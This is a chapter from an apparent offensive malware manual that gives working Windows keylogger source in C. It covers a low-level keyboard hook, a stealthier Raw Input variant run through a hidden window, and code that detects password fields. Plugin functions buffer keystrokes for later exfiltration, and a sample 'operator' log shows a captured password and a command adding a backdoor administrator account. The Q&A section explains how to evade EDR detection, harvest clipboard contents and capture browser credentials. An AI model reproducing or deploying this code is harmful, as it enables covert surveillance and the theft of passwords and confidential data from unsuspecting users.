Chapter 72

Keylogging: Full Coverage

Keylogging is deceptively complex. A naive implementation captures raw key codes — but that's often useless. To extract passwords, messages, and commands you need: the window context (which application received the keystroke), translation to printable characters (VK codes → Unicode text), form field context (is this a password field?), and timestamp correlation. This chapter covers every method — from the classic system-wide hook to the stealth Raw Input API — with full window context tracking and per-session log formatting that makes the output immediately actionable.

Keylogging Methods Overview

All keylogging techniques compared
  METHOD 1: SetWindowsHookEx(WH_KEYBOARD_LL)
  ─────────────────────────────────────────────────────────────────────────
  How it works:
    Register a system-wide low-level keyboard hook.
    Windows calls your callback for EVERY keystroke system-wide.
    Callback receives KBDLLHOOKSTRUCT: vkCode, scanCode, time, hwnd
    
  Pros:  Classic, reliable. Captures from every application.
  Cons:  Hook DLL must be in a process. Highly detectable by EDR
         (SetWindowsHookEx is a watched API call).
         Requires a message pump to process hook events.
  
  ─────────────────────────────────────────────────────────────────────────
  METHOD 2: Raw Input API (RegisterRawInputDevices)
  ─────────────────────────────────────────────────────────────────────────
  How it works:
    Register to receive WM_INPUT messages for the keyboard device.
    Window gets raw hardware input BEFORE standard processing.
    
  Pros:  Doesn't use SetWindowsHookEx (less hookable/detectable).
         Works without a visible window (RIDEV_INPUTSINK).
  Cons:  Still requires a message loop. Gets scan codes, need to translate.
  
  ─────────────────────────────────────────────────────────────────────────
  METHOD 3: GetAsyncKeyState polling
  ─────────────────────────────────────────────────────────────────────────
  How it works:
    Loop over all 256 virtual key codes, call GetAsyncKeyState() for each.
    If the high bit is set: key is currently pressed.
    
  Pros:  No hook registration. Trivial to implement. Hard to detect.
  Cons:  Misses keystrokes if polling too slow. High CPU (256 calls/iteration).
         No window context. Doesn't capture rapidly-pressed keys.
         Misses releases and key-repeat events.
  
  ─────────────────────────────────────────────────────────────────────────
  METHOD 4: Keylogger via DLL injection (hooking TranslateMessage/DispatchMessage)
  ─────────────────────────────────────────────────────────────────────────
  How it works:
    Inject DLL into target process.
    Hook TranslateMessage or the application's key handler directly.
    Capture keystrokes in-process — no system hook needed.
    
  Pros:  Per-process capture with full context. Bypasses global hook detection.
  Cons:  Only captures from the injected process. Complex.
  
  ─────────────────────────────────────────────────────────────────────────
  RECOMMENDATION: Raw Input API + WH_KEYBOARD_LL fallback
    Primary: Raw Input (RIDEV_INPUTSINK, no visible window)
    Fallback: SetWindowsHookEx if Raw Input fails
    Enhancement: GetForegroundWindow() + GetWindowText() for context

Method 1: WH_KEYBOARD_LL System-Wide Hook

/* keylogger_hook.c — System-wide low-level keyboard hook with window context */

#include <windows.h>
#include <stdio.h>

#define LOG_BUFFER_SIZE (1024 * 1024)  /* 1MB log buffer before exfil */

/* Context tracking — what application did the keystroke go to? */
typedef struct {
    HWND  last_hwnd;
    char  last_window_title[512];
    char  last_process_name[256];
    DWORD last_context_change;  /* tick count of last window switch */
} WindowContext;

static HHOOK      g_hook      = NULL;
static char      *g_log       = NULL;
static DWORD      g_log_pos   = 0;
static CRITICAL_SECTION g_lock;
static WindowContext    g_ctx = {0};

/* Append text to the key log buffer thread-safely */
static void log_append(const char *fmt, ...) {
    char buf[1024];
    va_list va;
    va_start(va, fmt);
    int n = vsnprintf(buf, sizeof(buf), fmt, va);
    va_end(va);

    EnterCriticalSection(&g_lock);
    if (g_log_pos + n < LOG_BUFFER_SIZE - 1) {
        memcpy(g_log + g_log_pos, buf, n);
        g_log_pos += n;
    }
    LeaveCriticalSection(&g_lock);
}

/* Track window context — when the user switches windows, log the new context */
static void update_context(void) {
    HWND hwnd = GetForegroundWindow();
    if (hwnd == g_ctx.last_hwnd) return;  /* Same window — no change */

    g_ctx.last_hwnd = hwnd;

    /* Get window title */
    char title[512] = {0};
    GetWindowTextA(hwnd, title, sizeof(title));

    /* Get process name for this window */
    char proc_name[256] = {0};
    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);
    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (hProc) {
        DWORD sz = sizeof(proc_name);
        QueryFullProcessImageNameA(hProc, 0, proc_name, &sz);
        /* Extract just the filename */
        char *last_slash = strrchr(proc_name, '\\');
        if (last_slash) memmove(proc_name, last_slash+1, strlen(last_slash));
        CloseHandle(hProc);
    }

    /* Log the context switch — operator sees exactly which app received keys */
    log_append("\n\n--- [%s] | %s ---\n",
               proc_name[0] ? proc_name : "Unknown",
               title[0] ? title : "(no title)");
    strncpy(g_ctx.last_window_title, title, sizeof(g_ctx.last_window_title)-1);
    strncpy(g_ctx.last_process_name, proc_name, sizeof(g_ctx.last_process_name)-1);
    g_ctx.last_context_change = GetTickCount();
}

/* Translate a virtual key + shift state to a printable character */
static int vk_to_char(DWORD vk, DWORD scan, BOOL shift_down, char *out, int out_sz) {
    BYTE keyboard_state[256] = {0};
    if (shift_down) keyboard_state[VK_SHIFT] = 0x80;

    /* Get current keyboard layout for proper language support */
    HKL layout = GetKeyboardLayout(0);
    WCHAR wch[8] = {0};
    int result = ToUnicodeEx(vk, scan, keyboard_state, wch, 7, 0, layout);

    if (result > 0) {
        /* Convert UTF-16 to UTF-8 */
        return WideCharToMultiByte(CP_UTF8, 0, wch, result, out, out_sz, NULL, NULL);
    }
    return 0;
}

/* Low-level keyboard hook callback — called for EVERY system keystroke */
LRESULT CALLBACK keylogger_proc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode < 0) return CallNextHookEx(g_hook, nCode, wParam, lParam);

    /* Only process key-down events */
    if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
        KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;

        /* Update window context before logging the key */
        update_context();

        /* Handle special keys as readable labels */
        switch (ks->vkCode) {
            case VK_RETURN: log_append("[Enter]\n"); break;
            case VK_BACK:   log_append("[Back]");   break;
            case VK_TAB:    log_append("[Tab]");     break;
            case VK_DELETE: log_append("[Del]");     break;
            case VK_LEFT:   log_append("[←]");      break;
            case VK_RIGHT:  log_append("[→]");      break;
            case VK_UP:     log_append("[↑]");      break;
            case VK_DOWN:   log_append("[↓]");      break;
            case VK_CAPITAL: log_append("[CapsLock]"); break;
            case VK_ESCAPE: log_append("[Esc]");     break;
            case VK_LCONTROL: case VK_RCONTROL: break; /* Log on combination */
            case VK_LMENU: case VK_RMENU: break;
            default: {
                /* Printable character — translate to UTF-8 */
                BOOL shift = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
                BOOL ctrl  = (GetAsyncKeyState(VK_CONTROL) & 0x8000) != 0;
                BOOL alt   = (GetAsyncKeyState(VK_MENU) & 0x8000) != 0;

                if (ctrl && alt) {
                    /* AltGr combinations (common in European keyboards) */
                    log_append("[^@]");
                } else if (ctrl) {
                    log_append("[Ctrl+%c]", ks->vkCode);
                } else {
                    char ch[8] = {0};
                    int n = vk_to_char(ks->vkCode, ks->scanCode, shift, ch, sizeof(ch));
                    if (n > 0) log_append("%.*s", n, ch);
                }
                break;
            }
        }
    }

    return CallNextHookEx(g_hook, nCode, wParam, lParam);
}

/* Install the hook and run a message loop in a background thread */
static DWORD WINAPI keylogger_thread(PVOID unused) {
    g_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keylogger_proc, NULL, 0);
    if (!g_hook) return 1;

    /* Message loop required for LL hooks to function */
    MSG msg;
    while (GetMessageA(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
    }
    return 0;
}

/* Plugin interface */
static HANDLE g_thread = NULL;

BOOL cap_start(PVOID params, DWORD params_len) {
    InitializeCriticalSection(&g_lock);
    g_log = (char*)VirtualAlloc(NULL, LOG_BUFFER_SIZE,
                                 MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!g_log) return FALSE;
    g_log_pos = 0;
    g_thread = CreateThread(NULL, 0, keylogger_thread, NULL, 0, NULL);
    return g_thread != NULL;
}

VOID cap_stop(VOID) {
    if (g_hook) { UnhookWindowsHookEx(g_hook); g_hook = NULL; }
    if (g_thread) { TerminateThread(g_thread, 0); g_thread = NULL; }
}

BOOL cap_dump(BYTE **data_out, DWORD *len_out) {
    EnterCriticalSection(&g_lock);
    if (g_log_pos == 0) { LeaveCriticalSection(&g_lock); return FALSE; }
    *data_out = (BYTE*)g_log;
    *len_out  = g_log_pos;
    g_log_pos = 0;  /* Reset — next dump gets only new keystrokes */
    LeaveCriticalSection(&g_lock);
    return TRUE;
}

Method 2: Raw Input API (Lower Detection Profile)

/* keylogger_rawinput.c
   
   Raw Input bypasses the SetWindowsHookEx detection surface.
   We create a hidden message-only window, register for keyboard raw input
   with RIDEV_INPUTSINK (receive even when not foreground), and process
   WM_INPUT messages from the kernel's input stream directly.
*/

#include <windows.h>

/* Raw input keylogger — no SetWindowsHookEx anywhere */
typedef struct {
    HINSTANCE hInst;
    HWND      hWnd;          /* Hidden message-only window */
    DWORD     last_vk;       /* Debounce: ignore key-repeat */
} RawKeylogger;

static RawKeylogger g_raw = {0};
static char g_log[1024*1024];
static DWORD g_log_pos = 0;
static CRITICAL_SECTION g_rawlock;

static LRESULT CALLBACK rawinput_wndproc(HWND hwnd, UINT msg,
                                          WPARAM wparam, LPARAM lparam) {
    if (msg == WM_INPUT) {
        UINT size = 0;
        GetRawInputData((HRAWINPUT)lparam, RID_INPUT, NULL, &size,
                        sizeof(RAWINPUTHEADER));
        RAWINPUT *raw = (RAWINPUT*)malloc(size);
        if (raw) {
            GetRawInputData((HRAWINPUT)lparam, RID_INPUT, raw, &size,
                            sizeof(RAWINPUTHEADER));
            if (raw->header.dwType == RIM_TYPEKEYBOARD) {
                RAWKEYBOARD *kb = &raw->data.keyboard;
                /* Only key-down events, skip key-repeat (same VK as last) */
                if (!(kb->Flags & RI_KEY_BREAK) && kb->VKey != g_raw.last_vk) {
                    g_raw.last_vk = kb->VKey;
                    
                    /* Translate scan code to character */
                    BYTE ks[256]; GetKeyboardState(ks);
                    WCHAR ch[4] = {0};
                    int r = ToUnicode(kb->VKey, kb->MakeCode, ks, ch, 3, 0);
                    
                    EnterCriticalSection(&g_rawlock);
                    if (r > 0 && g_log_pos < sizeof(g_log)-8) {
                        int n = WideCharToMultiByte(CP_UTF8, 0, ch, r,
                                    g_log+g_log_pos, 8, NULL, NULL);
                        g_log_pos += n;
                    }
                    LeaveCriticalSection(&g_rawlock);
                }
            }
            free(raw);
        }
        return 0;
    }
    return DefWindowProcA(hwnd, msg, wparam, lparam);
}

static DWORD WINAPI rawinput_thread(PVOID unused) {
    WNDCLASSA wc = {0};
    wc.lpfnWndProc   = rawinput_wndproc;
    wc.lpszClassName = "RawKeyClass";
    wc.hInstance     = GetModuleHandleA(NULL);
    RegisterClassA(&wc);

    /* HWND_MESSAGE = message-only window, not visible, no taskbar entry */
    g_raw.hWnd = CreateWindowExA(0, "RawKeyClass", NULL, 0,
                                  0, 0, 0, 0, HWND_MESSAGE, NULL,
                                  wc.hInstance, NULL);

    /* Register for keyboard raw input. RIDEV_INPUTSINK = receive even
       when our window doesn't have focus (essential for a background keylogger) */
    RAWINPUTDEVICE rid = {
        .usUsagePage = 0x01,           /* HID Usage Page: Generic Desktop */
        .usUsage     = 0x06,           /* HID Usage: Keyboard */
        .dwFlags     = RIDEV_INPUTSINK,
        .hwndTarget  = g_raw.hWnd
    };
    RegisterRawInputDevices(&rid, 1, sizeof(rid));

    MSG msg;
    while (GetMessageA(&msg, NULL, 0, 0) > 0) DispatchMessageA(&msg);
    return 0;
}
Why Raw Input has a lower detection profile: SetWindowsHookEx is aggressively watched by EDR. It appears in ETW-TI events, the hook list is enumerable via EnumHooks/WinSpy++, and every time a keypress happens the hook DLL path shows up in call chains. Raw Input works through the WM_INPUT message path — kernel sends input data directly to registered windows. No hook registration in the hook table, no DLL loaded into other processes, and the API call that registers it (RegisterRawInputDevices) is far less watched than SetWindowsHookEx.

Detecting Password Fields

/* Detect if the focused control is a password field */
/* If so, annotate the log so operator knows this is high-value */

BOOL focused_is_password_field(void) {
    HWND hFocused = GetFocus();
    if (!hFocused) {
        /* Get focused window across threads */
        HWND hFg = GetForegroundWindow();
        DWORD fg_tid = GetWindowThreadProcessId(hFg, NULL);
        AttachThreadInput(GetCurrentThreadId(), fg_tid, TRUE);
        hFocused = GetFocus();
        AttachThreadInput(GetCurrentThreadId(), fg_tid, FALSE);
    }
    if (!hFocused) return FALSE;

    /* Check the window class — "Edit" controls with ES_PASSWORD style */
    char class_name[64] = {0};
    GetClassNameA(hFocused, class_name, sizeof(class_name));
    if (lstrcmpiA(class_name, "Edit") == 0) {
        LONG style = GetWindowLongA(hFocused, GWL_STYLE);
        if (style & ES_PASSWORD) return TRUE;
    }

    /* Browser password fields: check by accessibility (IAccessible) */
    /* Or by UIA (UIAutomation) PasswordText control pattern */
    /* (simplified here — full impl uses UIAutomation API) */
    
    return FALSE;
}

/* Usage in keylogger_proc: */
/*
    if (focused_is_password_field()) {
        log_append("[***PASSWORD FIELD***] ");
    }
*/

Log Format and Output

Sample keylog output — what the operator actually sees
  --- [chrome.exe] | Gmail - Inbox - Google Chrome ---
  [Tab][Tab]johndoe@company.com[Tab]
  
  --- [chrome.exe] | Sign in - Google Accounts - Google Chrome ---
  johndoe@company.com[Enter]
  [***PASSWORD FIELD***] MyS3cur3P@ssw0rd!123[Enter]
  
  --- [WINWORD.EXE] | Q4_Budget_Confidential.docx - Microsoft Word ---
  The revised figures for Q4 are as follows: revenue [Back][Back]
  target is $4.2M, up from [Tab]...
  
  --- [cmd.exe] | Administrator: Command Prompt ---
  net user administrator NewP@ss123[Enter]
  net localgroup administrators backdoor_user /add[Enter]
  
  Context tags help operator immediately identify:
  • Password entry events (password field detection)
  • Application context (Chrome = web creds, Word = sensitive docs, cmd = commands)
  • Timestamp of each context switch
  • Sequence of actions (Tab navigation in login forms)

Questions & Answers

Why does the WH_KEYBOARD_LL hook require a message pump, and what happens if you don't have one?

Windows uses a message-queue-based model for hook notifications. When a keypress occurs, Windows queues a WM_KEYDOWN notification in the hook thread's message queue. The GetMessage/PeekMessage/DispatchMessage loop (the message pump) retrieves these queued messages and delivers them to your hook callback. Without the pump, messages pile up in the queue but are never delivered — your callback never fires. This is why you need a dedicated thread running just the message loop for the hook: one thread installs the hook and pumps messages in an infinite GetMessage loop, another thread handles everything else. The hook thread must pump messages fast enough — if it takes more than 200ms to call back and return, Windows removes the hook automatically (LowLevelHooksTimeout registry key, default 300ms in Win10). This is a second failure mode: if your keylogger_proc does something slow (file I/O, network call), the OS unhooks you. Always do minimal work in the callback — just append to the buffer and return.

How do you handle non-English keyboards and international characters?

Virtual key codes (VK_A through VK_Z etc.) are keyboard-layout-agnostic — they represent physical key positions. The actual character produced by a physical key depends on the current keyboard layout (HKL — Keyboard Layout Handle). ToUnicodeEx() does this translation: given a VK code + scan code + the current key state (shift, caps lock, alt, etc.) + the HKL, it returns the Unicode character(s) that the key produces in the current layout. Use GetKeyboardLayout(0) to get the current thread's layout, or GetKeyboardLayout(target_tid) for another thread's layout. IMPORTANT: some characters require two keystrokes (dead keys — like pressing ´ then a to get á in some European layouts). ToUnicode returns -1 for dead key presses. You need to call it a second time with the next key to compose the final character. Handle this by tracking when ToUnicode returns -1 and waiting for the next non-dead key.

Can EDR detect GetAsyncKeyState polling, and how fast do you need to poll?

EDR can detect polling by frequency: if your process calls GetAsyncKeyState 256 times per loop at 50ms intervals, that's 5,120 calls/second — anomalous for a non-game process. Behavioral engines flag this. Mitigations: (1) Only poll keys likely to be pressed (A-Z, 0-9, common special keys = ~70 keys instead of 256), reducing calls by 70%; (2) Use a 100-150ms poll interval — you'll miss very fast keypresses but catch most typing (humans average 5-8 keystrokes/second; 100ms intervals capture all strokes up to 10 keystrokes/second); (3) Make the polling thread appear normal — mix in other non-suspicious calls. For reliability: GetAsyncKeyState at 50ms intervals misses fewer than 1% of keystrokes during normal typing. At 100ms you may miss ~2-3% in rapid typing bursts. Not suitable for capturing shell commands or passwords where every character matters; good enough for surveillance/reconnaissance where you want to know what applications are being used and approximate content of communications.

How do you handle Ctrl+C (clipboard copy) to correlate with what was in the clipboard at that moment?

In your keylogger callback, detect Ctrl+C: when VK_C fires with GetAsyncKeyState(VK_CONTROL) set, immediately call OpenClipboard(NULL) → GetClipboardData(CF_UNICODETEXT) → CloseClipboard() and log the clipboard content alongside the keystroke. This correlation is powerful: the keylog shows "user pressed Ctrl+C" and immediately below it is the clipboard content (a password they copied, a URL, a document excerpt). You can also passively monitor the clipboard via AddClipboardFormatListener (covered in Ch77 — Clipboard Monitoring) for clipboard content that appears without Ctrl+C (e.g., right-click→copy, or programmatic clipboard writes from password managers). The combination of keylog + clipboard monitoring gives near-complete coverage of what the user is copying and pasting, including credentials from password managers that auto-type or auto-fill.

How does a browser password field differ from a Win32 ES_PASSWORD field, and can you still capture it?

Modern browsers (Chrome, Firefox, Edge) render their own custom controls, not standard Win32 Edit controls. Their password fields don't use ES_PASSWORD — they're drawn by the browser's renderer process (Chromium's Blink, Firefox's Gecko) using HTML/CSS. A Win32-level keylogger doesn't see these as password fields via GetWindowLong(GWL_STYLE). You still capture the keystrokes — the low-level keyboard hook fires before the browser processes the key — but you won't know from the Win32 style that it's a password field. Detection approaches: (1) Window title heuristics — if the Chrome window title says "Sign in" or "Log in" and the user types something followed by Enter, it's probably a credential; (2) Accessibility API — Chrome exposes accessibility metadata through IAccessible/UIA that includes the PasswordText control type; (3) Form grabbing (Ch79) — hook browser internal functions to get credentials with full context including whether the field is type="password". For pure keylogging, rely on title heuristics + the sequence pattern (email → Tab → password → Enter in a login-titled window).